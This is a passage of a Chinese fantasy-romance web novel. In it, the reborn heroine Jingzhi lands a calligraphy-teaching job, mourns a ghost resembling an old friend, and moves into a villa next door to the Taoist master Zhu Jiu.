他的眼睫慢慢下垂,看着被裹成木乃伊的自己,轻轻叹了口气。 盖这么结实,闷死了,这可是炎热的六月天。 被她这一通折磨,朱九睡意渐失。 他看了看一片漆黑的房间,委实有些不习惯。 索性下了床,把窗帘大大朝两边掀开,任由明亮的白色月光洒进他的房间。 他朱九,要留清白在人间!!! …… 第二天,朱九照例早早起床。 然而,偌大的别墅,仅剩下他一人。 阿祥跟三弟不着家就算了,她又去哪里了? 朱九来到一楼一看,餐桌上罩着个白色蕾丝面的菜罩子,里头好像还冒着阵阵轻烟。 他挑开一看,肠粉油条豆浆,码得整整齐齐的。 豆浆杯的下面还压着一张纸条。 【二叔:我跟三叔他们出去找工作啦!早餐记得吃哦![爱心][爱心]】 朱九看着那两个挨得紧紧的小红心,默默红了耳朵。 “小年轻就是小年轻,留纸条怎么还作上画了?” 还有,跟着朱八和阿祥,能找到什么好工作?! 别以为昨晚他没听到,那两衰仔又要去赌了,可千万别把人家姑娘带坏了! 澳门是吗? 朱九速度解决完早餐,上楼拿了行李后,就直奔车站。 …… “静之是吧,我们送你到这里就得分道扬镳了,咱们不同路的。” 朱八杵了杵还在左看右看的阿祥,用眼神示意他赶紧走。 阿祥:“是啊,这儿是市中心,工作机会多得很,你找吧,我们还有事,拜拜啊!” 话还没说完,朱八立刻扯着阿祥走到路边,拦了辆计程车就走了。 当在一片战乱中的废墟生活久了,再回到平和的闹市中心,原本觉得很平常的一个繁华街景,都让静之觉得无比的幸福。 “真好。” 川流不息的马路旁,唯有她一人站在街道上。 现在是早上十点多,街边大大小小的店铺基本都已经开业了。 各色霓虹灯开始闪烁,超市,便利店,商场,每一个地方,都让她无比怀念。 “靓女,你迷路啦?”一位路过的买菜大妈,好心停下来问了一句。 静之朝她笑了笑,“谢谢,没迷路,就是想找份工,正在思考要往哪边走而已。” 大妈打量了一下她的穿着,穿得跟公园打太极的大爷一样,一头白发利索的用一根簪子斜斜插着固定。 这种人看起来就很像个高人样儿。 “我家开了个书法培训班,你会不会写毛笔字啊,要不要来试试看?” 静之浅笑着摆手拒绝,“对不起,不报班,不办卡,不充会员。” 被二娣抓着练一辈子书法,她已经够够的了。 大妈被她连着的三个不说得微微一愣,她笑着重新跟静之解释说: “不是,我不是来招新生的,我们那缺个书法老师,你要是会的话,要不要试试看来应聘一下?” “地址在哪儿?”静之问。 她不想离朱九太远,想好了要护他平安,太远的话, 可不好办。 “就在这栋大厦后面的中学旁边,靠近学校,交通方便的很,你就放心吧。” “哦,可我简历上没写这项技能,要不您等我一下,我改改先。” 静之昨晚借了朱九几张纸,手搓了好几份简历出来,这可是她呕心沥血的杰作。 简历如下: 名字:林静之 性别:母(划掉)女 毕业院校:少林寺 特长:1,刀枪剑戟,无一不精,曾获少林寺少年组比武大赛第一名,不服来战。 2,跑贼快,耐力强,曾获少林寺少年组2000米长跑第一名,同上,不信的话请测试我。 3,具备刑法各种相关知识,包括侦查、伪装、反间等方面的知识。此外,还具备各种枪支型号的射击、格斗、擒拿等基础技能。 工作经验:1、医馆学徒:曾跟名师学了7年中医,不信伸手我给你把把脉。 2、名人跟班:端茶倒水,洗衣做饭,任劳任怨,随叫随到。 3、片区保安:护您一方安全,让您每晚安眠,做保安,我是专业的! 性格特点:关于我的性格,我要简单的说说以下两点。 第一点,耐心。我贼有耐心,追一个人可以追到天荒地老,这个优点绝对可以胜任您交与的大部分工作。 第二点,细心。我这么说吧,出门的时候,我都得回去看看我家门锁没锁好,注意,要确认三遍!! …… 大妈看完简历后,下巴惊得都掉在地上了。 沉默了许久,她终于开腔了。 “我说靓女啊,没想到你年纪轻轻,工作经验还挺丰富的。” 而且大部分都是体力活儿,这妹子面色红润,气色极好,看起来倒是挺中气十足的。 静之一脸淡定的指了指特长以下的空格,“书法老师我也能干,你看这儿还有空儿,我还能写。” 第249章 豆本豆 “不用了,咱们不是那种讲究形式的,实力最重要,等会叫另外一个老师考考你就行咯。”大妈说。 说是这么说,大妈其实已经认可了她一半了。 这张简历是手写的,硬笔其实都可以看出她功力不错了,毛笔字应该也差不到哪里去吧。 “行!” 什么老师还能严过二娣,她可不信这个邪。 静之万万没想到,那位老师是不严,就是考核的方法还挺另类的。 两人过了斑马线,从右侧的鹅卵石小道绕过大厦,就能看到了隔壁街的玛利亚中学大门了。 这个点正是上课的时候,门口静悄悄的,她莫名想起了那群被林九不知道传送到哪里去的梁家少年们。 也不知道他们上哪儿去了。 缅怀不过几秒,大妈就拍了拍她的肩膀,指向学校右侧的一间中式二层小院落。门口实木做旧的招牌上,龙飞凤舞写着几个大字——翰墨书法。 一看就是名家手写的。 静之微微扬起眉梢,心中暗忖道: 也不知是不是看惯了林九潇洒的行楷,她反正就觉得林九的字最好看。 “一楼是接待处跟休息室,二楼是教室,她现在估计在上课,你在这儿等我一下,我上去叫她。” 大妈拿着纸杯在沙发旁盛了杯温水递给她,就拎着塑料袋朝楼上走去。 练书法的地儿,就是与其他种类的培训场所不一样,空气中都飘着一股墨香味。 进门左拐的作品墙上,贴了满墙获奖的优秀作品,还有师生合照。 而且,每隔几步就有一幅竖向的卷轴挂在墙上,根据笔墨凹陷下去的痕迹,静之断定,这不是打印的,全是手写的。 还挺牛啊。 “高豆豆?名字还挺俏皮的。” 静之伸手围住头顶灯光的照射,靠近玻璃看着左下角的署名,小声嘀咕着。 “谁在叫我?” 一道元气十足的女声从她身后响起。 静之回头一看,一位扎着马尾辫,瓜子脸大眼睛的元气女孩正站在楼梯上,巧笑颜兮的看着她。 静之愣了一下,这才发现空气中的墨水味道浓烈很多。 她的眼神从豆豆脸上,瞬间挪到她左手提着的东西上。 这跟拖把一样大小的,是毛笔没错吧? 豆豆朝静之招了招手,“上来呀,现在刚好是休息时间,咱们来教室写,我觉得可以的话,你明天就可以来上班了。” “好。” 来到二楼后,人还没站稳,另外一根一米多长毛笔就朝她飞了过来。 静之右脚后撤一步,以防墨点子撇自己一身,待毛笔都快越过她的身位了,她才不紧不慢的伸手抓住笔杆子。 呦,小妹妹还挺有力。 静之微微挑眉,却看到豆豆挑得比她更高,眼里头也尽是兴味,“你的简历我看过了,你会武的话……” 她一脚蹬开地上备好的巨幅卷轴,“跟我切磋两招,顺便写个字。” 她俯下身,手肘缓缓撑到旁边桌上,捧着脸一脸挑衅的说:“这么简单,你不会不答应吧?” 大妈甚感头痛,有些不好意思的朝静之笑了笑,“豆豆是我从小看着长大的,她毕业后就在这儿当老师了,她平时没别的爱好,就喜欢研究武术,请你多担待哈。” 边说着,她瞪了一眼豆豆,“人家是来应聘书法老师的,谁要跟你比武了?!” 豆豆从桌子后面走出来,摩挲着下巴走到大妈和静之跟前,“敏姨你自己说过的,新老师嘛,要跟我处得来才可以,就过两招,培养培养感情嘛~” 大妈也就是豆豆嘴里的敏姨,张了张嘴还想说什么,静之笑着朝豆豆一抱拳,“我是无所谓,你可别记我仇就行。” “哦?看来你对自己的实力很有信心喽?” 敏姨没见过静之打架,豆豆打架她倒是见得多了,怕好不容易有人来应聘会被豆豆打跑,她一脸担忧。 “林小姐,豆豆是跆拳道黑带,你小心点!” 静之嘴角微微勾起,“阿姨,我的简历……可一点水分都没掺!” 话音刚落,她把手里的笔杆当做棍子用力一个横扫。 豆豆伸手接住,却不禁被这股力道逼得后撤一步,表情立刻从漫不经心变成一脸凝重。 死丫头,力气还挺大! 震得她手疼。 豆豆不笑了,笑容转移到静之脸上。 “怎么样?还比吗?”静之问。 “比!”豆豆眼里的战火熊熊燃起。 一分钟后,地上的卷轴写好了四个大字——静心凝气。 敏姨的嘴又合不上了。 教室角落里的四眼仔学生一脸墨点子跟生无可恋。 而静之,一手托着豆豆的腰,一手捏住豆豆往上踢的右腿腿腕,“你没事吧?” “……你放开我!” 静之撒开手,豆豆立马后撤两步,两手交错举在胸前。 “还打啊?我写完了。”静之挠了挠脸,有些无奈的问,并指了指地上的字。 豆豆极其快速的低头瞄上一眼,然后怕静之偷袭似的,又快速把头转回来。 却没曾想静之已经站在她身前,还朝她举起了手。 “你偷x……” “袭”字还没说出口,豆豆就愣住了。 脸上轻柔的擦拭动作让她浑身发僵,静之脸上的柔和和包容让她有些迷茫和害羞。 静之收回手帕,微笑着展示给她看,“我没偷袭,喏,你脸上有墨点子,女孩子就应该干干净净的。” 豆豆有些别扭的放下手,歪过头朝静之身后的敏姨说: “我看她打老就行,明天就来上班吧!” 刚说完,软软的脸颊肉就被轻轻捏住。 静之抽抽着嘴角说:“豆啊,是不是又想挨揍了?” 敏姨赶紧过来做个中间人,“呵呵,静之啊,她年纪还小,说话口无遮拦,你多担待,你跟我下来,我给你排个课程表,顺便说一下工资待遇吧?” “行。” 静之下去后,跟了豆豆两学期的四眼仔幸灾乐祸的走到她身边,“老师,写也写不过,打也打不过,我看你要糗喽~” 豆豆罕见的没有生气,她摸着脸看着楼梯口那道身影,不知为何,脑子里莫名想起了她姐姐。 话说,她姐好像很久没来看她了,又疯到哪里去了? …… 此时在一楼的静之,坐在沙发上,整个人都要陷进去了。 好久没坐过软成这样的沙发了,爽得想葛优瘫。 看着越坐越往下滑的静之,敏姨不由暗自发笑。 她的年纪倒是没写在简历上,这头白发估计也是染的吧,看来也是个小年轻,爱玩的心性还没完全磨灭嘛。 “薪资咱们刚刚聊完了,这是课程表,你跟豆豆分开时间交替上课,兴趣班呢,跟学校上课时间相反,周一到周五比较闲,来的都是不用上课的成年人,周六日人就比较多了,成年人占少数,大部分都是学生仔啦。” “你一三五,豆豆二四六,周日两个人都得来,若有急事,你们两个商量着休息,你看怎么样?” 静之:“没问题。” 一周休三天,相比她上辈子全年无休的挖洞,救死扶伤,还得警惕敌人,简直就是养老般的生活。 静之站起来,推开玻璃门,又回头朝敏姨招了招手,“那我先回去咯,明天周五,我明天会过来。” 敏姨朝她点了点头,“9点上课,记住啦。” …… 静之找到可心的活计,一身轻松的从屋里走出来,甚至觉得空气都清新了几分。 她看了看日头,是到了该吃午饭的时候了。 话说,三叔他们到底上哪儿赌了? 第250章 她嗷的一声,哭出来了 这个年代虽然没有僵尸,但是有黑道呀。 一想到朱九的兄弟和侄子可能会被剁手剁脚,静之的眉头皱得简直能夹死苍蝇。 朱九顺风顺水半辈子,此生唯二的两个破绽,就是那俩二货吧。 静之路边随便买了点小吃,打了车,就直奔澳门。 怎料还没进车站,就看到阿祥一个人站在车站门口,正伸手抢一个外国人的伞。 “喂,阿祥你干嘛?” 这里大巴车来来往往,静之暂时过不去,她倒数着红绿灯的秒数,边看着阿祥。 怎料面前这辆绿色的双层巴士开走以后,她就看到了阿祥被一个外国佬一掌推到路边的垃圾桶旁。 怎么这般没用? 朱九都没教他武功吗? 昨天她看朱九爬墙的动作很是利索的呀。 “欸……二叔!” 叫到一半,静之就看到一个熟悉的面孔站在阿祥身后,她双眸一亮,朝着马路对面边蹦边挥手,“二叔!” 朱九看了她一眼,又看了看这个不成器的侄子,气不打一处来。 “过去打他!” 阿祥看着对面那个人高马大的外国佬,面露怯意,“我,我打不过呀。” 朱九一伞怼到他背后,把他往前推,“快去!别丢我们朱家的面子!” 阿祥被推到外国佬面前,硬着头皮比了两个花招,“阿哒~猜你死功夫~” 外国佬:ese kongfu? 他飞起一记窝心脚,阿祥当即被踹飞三米远,砰的一声又回到垃圾桶旁。 “我就说打不过嘛。” 静之奔了过来,本想帮帮忙,朱九大手一挥,把她往旁边推,“不用你出手。” 他抿着嘴,一手拉起软如泥的阿祥,脚下踹向阿祥的后脚跟,借力打力,把冲到跟前的外国佬一脚踢得连连后退。 紧接着又是一套丝滑的隔山打牛,把外国佬直接打飞出去。 要不怎么说不要惹穿唐装,拿黑雨伞的人呢。 静之一个劲儿的给朱九鼓掌。 看着她双眼亮晶晶的模样,朱九面露晦涩。 倒是阿祥摸着后脑勺得意上了,“呵呵,我没那么好啦~” “我又不是在说你!”静之奔到墙角把那把墨绿色的油纸伞捡起来递给朱九,“二叔,刚刚阿祥就是在跟人家抢这把伞,我看到了。” 阿祥指着静之咬牙切齿,“嘿—你!你竟然打小报告!” 朱九手一触上油纸伞,指尖微微一顿。 “这伞,阴气极重。”朱九一把打掉阿祥指着静之的手,板着脸问: “这伞从哪儿来的?” 对上朱九,阿祥的嚣张气焰全无,他缩着脖子说:“二叔,这是我的,你还给我吧。” 不说是吧,那就别怪他没收了。 “我用着正好,你跟我回去。” 朱九点兵点将,又点到静之了,对上她,他的神色稍缓: “以后你不要跟他们两个一起走,有什么事,先跟我商量。” “二叔,有你这么说你家亲侄子的吗?” 阿祥看样子还有些不服气。 朱九好整以暇转过头看着他,“是吗?那你说说,你出来干嘛的?还有你三叔呢?他上哪儿去了?” 阿祥被问得哑口无言。 赌博不能说。 赌输了也不能说。 被他女朋友的父母赶出来了,还被逼分手,更是没脸说。 阿祥索性低下头,跟在朱九后头上了回家的大巴。 一层已经坐满了人,三人扶着栏杆,上了巴士二层,顶上是敞篷的,稀稀疏疏坐着几个人。 以免过重的阴气渡到别人身上,朱九抬脚便往巴士最后一排空位走去。 还没来得及逛逛市中心,静之就上车了,不过她也开心得很。 这般平和的时刻,只有失去后才知道要更加珍惜。 她坐在靠边的位置,左手肘搭在高高的扶杆上,看着极速掠过的城市风光。 偶尔经过天桥下,明明暗暗的阴影却夺不走她眼里的放松和愉悦。 三人沉默了许久,朱九忍不住挑起了话头,“这么开心,找到工作了?” 静之回头,对他展颜一笑。 “嗯,在书法培训班当老师,离你家不远,我明天早上就得去啦。” 朱九一把敲掉左边鬼鬼祟祟摸到他大腿上,意图偷伞的胖手,浅笑着对静之说: “那很好。” 刚说完,他就忍不住变脸,转头对阿祥训斥:“你看看人家!你再看看你!” 阿祥:“我觉得我还行,至少健健康康……对了二叔,能不能,再给我点零花钱?” 朱九捏了捏眉心,恨不得把阿祥吊起来打,“不可能!从今天开始,你的花费由你自己负责,我不会再给你一分钱!” 干的漂亮! 静之暗暗鼓掌叫好。 就算朱九再有钱,也经不住这两个赌徒这般挥霍吧。 …… 回到家后,朱九立刻带着伞直奔三楼祖师爷的面前。 他把伞放在香案旁,给祖师爷上了柱香,这才回头对阿祥说: “我去上个厕所,你别给我乱动啊!” 看着各种进入自己房间的朱九和静之,阿祥完全把朱九的交代抛诸脑后,他一把拿起油纸伞,刚一撑开,一位穿着红西装的女子“彭”的一声就出现在他身边。 “你个衰鬼,居然敢把我丢掉!不是说好要帮我报仇,还有帮我通知我妹妹的吗?!” 阿祥恨不得把伞杵进她嘴里,他嘘了一声,苦着脸小声说: “少少啊,这回真不是我,你也看到了,是我三叔扔的,你是我小学同学,我怎么会那么狠心嘛。” 那位女鬼,也就是少少,瞥了一眼阿祥说:“这还差不多,反正你要帮我报仇,不然我就一直缠着你。” “缠着谁?”一道悦耳的女声悠悠从她身后响起。 少少目露讶异,转头问: “你看得见我?” 阿祥同样惊讶,他们朱家每个人多多少少都有修道的渊源,所以看得到鬼。 这女人怎么也看得到?她有阴阳眼? 比他俩更震惊的,是静之。 见到少少那张脸,她先是大喜,然后大悲。 眉毛一垂,嘴一瘪,不过一秒,便嗷的一声,边大哭,边朝少少扑了过去。 “蔗姑?!才刚刚见到你,你怎么就挂了呢???” “是谁!是谁杀了你!我要把他大卸八块!呜呜呜,我的……嗝……好蔗姑啊!!” 第251章 朱九的耐心 少少茫然地举起双手,就这样呆呆地任由对方紧紧抱住自己放声大哭。 那滚烫的泪水犹如决堤的洪水一般,源源不断地洒落下来,不一会儿便浸湿了她冰冰凉的脖颈。 尽管她清楚的知道自己已然逝去,那颗早已停止跳动的心脏也不会再有任何波澜。 但就在这一刻,当她感受到对方如此悲恸的哭声时,那颗沉寂下去的心竟似乎猛地抽搐了一下。 眼前这一幕,为何会让她感到这般似曾相识呢? 少少僵硬着双手,犹豫片刻后,还是轻轻地拍打起静之因哭泣而不断抽动的后背,轻声问道: “我……我认识你吗?你一来就对着我哭坟啊?” 听到这话,静之才缓缓松开了紧抱少少的双臂,抬起头来泪眼朦胧地望着她。 少少此刻的动作和神情,竟与当年蔗姑安慰自己的时候相去不远! 想到这里,静之心中的悲伤之情愈发汹涌澎湃,实在抑制不住内心的情感,再次箍紧她的脖子,继续嚎啕大哭起来。 “呜呜呜,认识的认识的!你是我唯二的好朋友,你化成灰我都认识你!” 她的灵魂气息,她可太熟悉了。 上上辈子,还是她给蔗姑扶灵,也是她给蔗姑送入轮回的。 她本想着,作为一个修道人士,蔗姑一生帮助不知道多少婴灵重新找到父母投胎,应该是积了不少阴德的。 她的来世,不求大富大贵,但也该顺风顺水吧,又怎会年纪轻轻就去世了呢? 还变成了厉鬼,要知道,人死后只有瞬间爆发出极强的怨气,才会化为厉鬼。 她的好姐妹一定是被人欺负了! 静之后槽牙咬得咯吱响,她用袖子胡乱抹去眼泪,然后两手紧紧握住少少的肩膀,“告诉我,是谁杀了你?” 少少这会儿还有闲情调笑阿祥。 “你看看,你推三阻四的,不肯帮我报仇,这不就有个人愿意帮我报仇了嘛。” 阿祥镜片后的双眼止不住偷瞄着朱九的房门,他双手合十,小声对着静之身后的少少哀求: “哎呦喂,姑奶奶,说了会帮你,肯定会帮你的,你赶紧下楼吧,被我二叔看到就完蛋了!” 静之:“为什么要下去?” 蔗姑是林九的师妹,再怎么样,他应该不会不分青红皂白对她出手吧。 有人护着的感觉就是不一样。 少少躲在静之后面,耀武扬威的朝阿祥做尽鬼脸,直吐舌头。 “略略略,为什么要下去?这里有香火的气息诶,我饿了,你还不快点给我烧点元宝蜡烛?!” 阿祥急得狗挠铁皮了快。 “死了你都这么贪吃,我是说真的,你赶快走,不然就来不及了!” “叩叩。”突兀的敲门声响起。 “静之,你过来一下。”朱九低沉的声音平淡得仿佛是在话家常。 看着他出现在他房门口,静之惯性笑着回头,朝他走了一步。 当看清他手中的东西时,她惊得伸出尔康手,“不要啊~~” 随着一道黄光闪过,她身后的少少鬼魂直接被吸入朱九手中的坛里。 他眼疾手快盖了盖子,顺便贴上去两道交叉的符纸。 静之赶紧上前两步,看着他手里的坛子说: “二叔,她是好鬼来着的,你放过她吧。” 手刚伸出去要接过来,却被朱九躲过。 坛子被他正正的放在祖师爷面前。 “人鬼殊途,你们两个都别给我碰,上面两道符,是衰运符,谁碰这个坛子,谁倒霉三年。” 朱九走后,静之瘫软在贡桌前的跪垫上。 阿祥一个赌徒,最怕衰运当头,手气臭了。 一听到朱九这么说,就垂头丧气回到一楼去了。 静之直直盯着桌上的深褐色坛子好久,又不时侧头看一眼朱九紧闭的房门。 “对不起……是我没用。” 人可以没本事,但是不能衰啊。 她决定,她今晚就要搬! 她要单方面和朱九闹个五毛钱的别扭! 过没几分钟,朱九从房间里走出来,递过来一条泡过凉水的新毛巾。 “喏,给你,你眼睛都哭肿了,敷一敷,明天不是还要给学生上课吗?当老师可不能肿着眼睛去。” 静之抬起头,小嘴微张,愣愣的看着站在贡桌旁的朱九,这怎么办嘛。 蔗姑的事,经过两世,他早就忘光了。 可他依旧对她很好,这叫她怎么生个五毛钱的气嘛。 瞧她不接,朱九半蹲下来,将毛巾塞进她手里,“不管好鬼坏鬼,鬼与你靠得太近,会使你阳气流失,有损寿命的。” 朱九也不知道为何,一对上她,耐心就大幅度上涨,竟还愿意蹲在这儿与她解释。 换做阿祥,他早就一耳刮子过去了。 静之抿了抿嘴,接过毛巾,折叠成一个长条形方块敷在眼睛上,边慢慢与他解释。 “二叔,不是我要跟您作对,她……跟我一个旧友长得很像,我那位旧友菩萨心肠,做尽好事,我想这位叫少少的鬼魂,应该也不会坏到哪里去吧。” 朱九扶着她的手肘,把她从跪垫上拉起来,语重心长对她说: “知人知面不知心,有些人就算长得一样,内里是什么样儿的,你又怎么会清楚呢?” 阿祥突然从二楼的楼梯拐角伸上来一个头,“她是我小学同学,虽然唱歌难听了点,嘴巴臭了点,人无厘头了点,但总的来说,还算是个好人了。而且她真的死得很惨的,二叔你就帮帮她吧。” 桌上的坛子一听到这完全不像是夸赞的话,气得直抖动,“喂!不会说话,你就闭上你那张臭嘴!” 朱九一脸“你看吧。”的表情看着静之。 他转头对不敢上楼的阿祥说: “是个鬼都说自己死得惨,反正你们别给我乱来啊,过了七七四十九天,等她戾气消除,我自然会送她转世投胎。” 阿祥:“可是她妹……” “好了!”朱九不耐烦跟他讲话,“有空在这儿跟我理论,不如下楼给你三叔打个电话,天黑了还不回来,他是要造反吗?!” “……哦。” …… 晚上九点。 别墅的一楼跟二楼灯火通明,三楼只有朱九的房间,跟房间外的神台处留了灯。 朱九醉心阵法研究,一头扎进房间里就不出来了。 静之则偷偷来到了一楼阿祥的房间。 朱八怕被骂,回来的时候也是静悄悄的。 这会儿她坐在椅子上,撑着脸,看朱八跟阿祥商量救少少的方法。 “要我说啊,你当初就不应该伸这只手跟她握手,否则她又怎么会输呢?” 静之看着阿祥的右手,有些疑惑,“关他的手什么事?” 三叔:“都说了不能近女色了。” 阿祥:“这也算近女色?” 三叔:“当然算!” 静之:……好了,她好像懂了,耳朵也脏了。 阿祥看着自己的右手,突然抽它一巴掌,“那现在都这样了,该怎么办嘛。” 三叔背着手,看着落地窗外的月光,悠悠说道: “二哥看得严,但是我还有一招!” “什么招?” “飞头术!”朱八得意的回头看着二脸迷茫的两人。 “这招是我老母私下教给我的,连你二叔都不知道。” 第252章 她说她要走了 静之有些纠结。 其实朱九说的是对的,人鬼殊途,他们几个跟作为厉鬼的少少待在一起,确实没一丁点儿好处。 但是就这么让她看着蔗姑的后世不明不白被人害死而不去报仇,她又做不到。 于是她对眼前朱八的做法只能保持沉默。 不去打小报告,睁一只眼闭一只眼是她做出的最大努力了。 只见朱八画好符后,在他自个儿的脖子上粘了一整圈符纸,然后坐在床上,口中默念咒语。 不消几秒钟,仿佛被砍头了一般,他的头整齐的从符纸边缘裂开,然后朝着门口急射出去,脖间的黄符飘在空中,仿佛一条黄色的丝带。 静之刚想追上去,却发现阿祥还杵在原地。 “你不去看看?”她问。 阿祥指了指坐在床上维持着奇特手势的三叔身体,“你去吧,我得看着他的身体。” “那我自己去。”静之挑了挑眉,抬脚朝楼梯口奔去。 还没到三楼呢,就看到三叔的头不知为何变得湿漉漉的,径直从三楼楼梯口往下飞。 按照那条抛物线看,应该是被人踹下来的。 被二叔发现了? 静之心里暗叫不好,脚步一转,刚想下楼看看朱八怎么样了,身后就响起朱九低沉的嗓音。 “你上来。” “别跟他们两个捣乱了,整天没个正形。” 静之转过头,看着那张面无表情的脸,忍不住摸了摸鼻子,“我,我就是看看而已,我没参与。” “没什么好看的,你要是还不困,来我房间一下,我有个东西要给你。” 说完,朱九转身回了他房间。 东西?什么东西? 住他家第二天,他就要给她送东西了? 那怎么好意思。 静之嘴角半翘,抬脚跟上他的步伐。 朱九走到书桌前,打开抽屉,从一大串钥匙上找到其中一根钥匙,卸下来给她。 “喏,隔壁别墅的钥匙,黄姨今早就过去打扫了,明天你就可以搬过去住。” 不是,虽然她刚刚有一瞬间这么想过,但是她没想要这么快就实现啊! “你赶我走?” “说什么呢。”朱九把那一大串钥匙收回抽屉里,然后轻轻关上抽屉,这才转回头说: “我想过了,我这弟弟跟侄子太不着调,你住在这里,我实在怕你被他们教坏,早些搬过去也好。” 他想了想又补充一句,“哦,对了,不管他们两个谁找你借钱,千万别借!” “……我知道了。” 明明知道该离他远一点,也明白他说的话是对的,但是静之心里顿时涌起一股强烈的不舍。 好不容易才又看到他,在同一屋檐下才一起生活了一天,他们就又要分开了。 静之抠着手心的钥匙,咬了咬唇,礼貌的对朱九说了声谢谢。 然后垂着头就回房收拾东西去了。 看着那个莫名低落的背影,朱九有些摸不着头脑。 不是她自己说要搬的吗? 怎么又不开心了? 女人可真难懂。 回到房间里的静之,看着手心里那根钥匙,咂咂嘴。 上头黏了张白色医用胶布,胶布上工整的写着【别墅02】。 话说,他刚刚那一大串钥匙上,好像都贴有这种白色胶布。 如果一根钥匙代表一套别墅的话,那他……可能手里就有十几套别墅了??? 我的老天鹅,她家阿九这辈子出息了,成地主了! …… 期间,朱八那个不着调的,修炼不过关,飞头术回收的时候,头竟然跟身子安反了。 实在没有办法复原,只能上楼跟朱九求救。 看着静之暗自发笑的眼神,朱九剜朱八的眼神剜得眼珠子都快掉下来了。 真是造了孽了,摊上这么个弟弟。 朱九当即扇了他一个大耳刮子,把他的头一把扇正,并怒斥他们别再耍花样,就回了房间。 …… 睡前,朱九莫名站在那扇白色的门前一会儿,然后把门锁仔细锁上。 刚转过身,脑子里又想起她昨晚那神出鬼没的样子,朱九回到门前把门锁上方的防盗链也别上,这才放心的回到床上躺下。 十二点准点。 不晓得她用的什么法子,门又开了。 他好似猜到了她会过来,原本该早早入睡的他,今夜莫名失眠了。 他一向喜欢开着窗帘睡,屋子里不至于太黑。 这会儿他却觉得是该拉上一点窗帘的。 不然他装睡的样儿要是被她看出来的话,那可太尴尬了。 她走过来了。 她蹲下了。 她又给他盖被子了。 朱九脸上一点动静都没有,心里却猛叹气。 她这到底是什么怪癖?就喜欢半夜闯空门进来给人家掖被角吗? 正在他热得有些发闷之际,被子被掀开。 她仿佛正在犹豫。 又盖上,又掀开。 又又盖上,又又掀开。 姑奶奶,他真是服了。 再这么玩下去,他不是中暑,就是要被扇感冒了。 耳边突然听闻她娇俏的一声轻哼,和细细的小嗓。 “哼,叫你欺负蔗姑,这算是给她报仇了。” 蔗姑? 谁?他不认识啊。 主要这一听就是个女人的名字,他对女人一向敬而远之,怎么会欺负女人呢? 最终,那条被子还是落回他身上,似乎是发现他额头有些冒汗,静之有些心虚的把薄被往下叠,松松的盖到他肚脐处。 朱九身体两侧扣住床垫的僵直手指差点暴露,他的指腹开始冒汗,晕湿了身子底下灰色的床单。 此时却又听闻她低低说了一句话,似在感叹,声音轻飘飘的,仿如一缕微风,传入了他耳中。 “你有钱就好了,我也不需要担心你。既然你过得这么好,那我……以后会跟你保持距离的。” 她什么意思? 难道是欲擒故纵? 他承认,今晚拿钥匙给她的时候,他有心想要试试她,想看看她是不是爱慕虚荣的人。 毕竟,他又不是冤大头。 虽然这招对她有些没礼貌,但对大部分人来说非常有效。 他已经用过很多次,赶走很多个欲贴上来的虚荣男女了。 朱九莫名得意,他的眼光果然没错,这是个好女人。 突然,一阵香风逼近,眉心被轻柔抚摸了一下。 她的语气似乎带着万般不舍和一分忍不住的哽咽。 “阿九,我走以后,你要好好照顾自己,我会在你不远处一直陪着你的。” 温热的夜风轻轻扬起窗户旁边的轻纱,屋内的香气被一点一点冲淡,只留下他身上淡淡的檀香。 仿佛她从未来过这里,屋子里只剩下他一个人的呼吸声。 眉心的余温被风吹凉,朱九抿了抿嘴,侧身卷了被子,用力闭上眼。 是个好女人就行,应该早点让她离开这栋别墅的,他今晚的行为是理智且正确的。 但是,为什么感觉不太对劲…… 好空。 他从未觉得一个人的房间如此空荡。 可本来就是这样的啊,他自从能说话以后就是一个人住,如今已经四十二年了,按理说,也早该习惯这种孤独且自由的日子。 为什么他还会滋生出这样的想法? …… 果不其然。 跟他料想的一样,她是个不喜欢别离的人。 昨晚,也许就是她跟他特意诉说的一场单方面的告别吧。 朱九下意识的忽略她昨晚话语中的亲昵情感,还有那声很容易让人误会的“阿九”。 她的房间门大敞开着,被子叠得整整齐齐,仿佛从未有人进来住过。 朱九来到一楼,餐桌上依旧是带着热气的早餐,和一张眼熟的便签。 坐在餐桌对面的朱八跟阿祥,经过昨晚朱九的一顿教训,谁也不敢乱说话,静静吃着早餐。 朱九没理他们,拿起便签一看。 【二叔,谢谢您的收留,从今天开始,我就住到隔壁去了,您放心,我会注意保持干净卫生,不破坏您别墅里的东西。 等我发了工资,会马上把租金还给您的。 这是我的新手机号*******,有事可以直接联系我。——林留】 语气毕恭毕敬,甚至有点小心翼翼,还用上了敬语。 而且,今天怎么不见她作画了? 按理说,别人这么尊重他,还很识趣,他应该开心的。 可他内心深处的一点怅然又是什么鬼? 莫名的,他觉得她应该是肆意欢笑跟偶尔捣蛋的那种人,一敬他,他反倒觉得有些违和。 从未体会过这种心情的朱九开始有些迷糊了。 “二叔……你给人家赶出去啦?我看她是个好人,你这么做是不是……” 阿祥瞄着他手里的纸条,心不在焉的喝着手里的豆浆,边问道。 “是什么?”朱九把便签揣进口袋里,瞪了他一眼,“既然知道她搬到隔壁,你们两个应该知道我的用意,别过去骚扰人家,否则……” “知道知道,绝对不骚扰!”还没听他放完狠话,阿祥立刻放下杯子,并举手发誓。 …… 第253章 静之老师上课啦! 隔壁别墅离他如今住的地方,中间不过才隔了一条两米的林荫小道。 朱九吃完饭后,习惯出门溜达一下。 莫名的,他绕了自家别墅一圈,就来到了隔壁别墅门口。 见到自家老板的黄姨立刻放下手里的拖把,走过来鞠了个躬,“二爷早上好。” 朱九朝她扬了扬手,“你忙你的,我随便走走。” “……哦。” 反正都是老板的地盘,他爱往哪儿走往哪儿走,只要不做个监工,盯着她做事就行。 黄姨擦完楼下的地,刚撑着拖把抹了一把额头上的汗,就看到三楼走廊处朱九的侧影。 “二……” 刚想出声,她又立马捂住嘴。 三楼是静之小姐选的地方,二爷溜达到那儿去是不是不太好啊? 但是这别墅都是他的,他去看看,好像又不是不行。 黄姨杵在原地有一下没一下拖着地,属实是纠结上了。 …… 朱九漫步在长长的楼道中。 他会看风水,每个别墅的格局他都会调整到最佳。 这一套最佳住人的方位,是顶层最右侧向阳的那一间。 他其他房间都没有去,独独来到这间房门口站定。 她应该会选这间吧? 前男友是个学道的,她怎么也多少会吸收一点道家常识吧? 望着虚掩的房门,朱九不禁开始反思。 他来这里干什么? 就算作为一名房东,他没有理由,也不应该擅自进入一位女性的房间。 搭到门把上的左手瞬间收了回来。 算了。 不合规矩,走吧。 黄姨可能刚打扫完,这一层走廊的地有些湿润,他右侧的窗户此时半敞开着通风。 朱九额前的刘海被风吹得有些凌乱,他下意识伸出手随意拨弄两下头发。 鼻尖却传来极为浅淡的香甜气息。 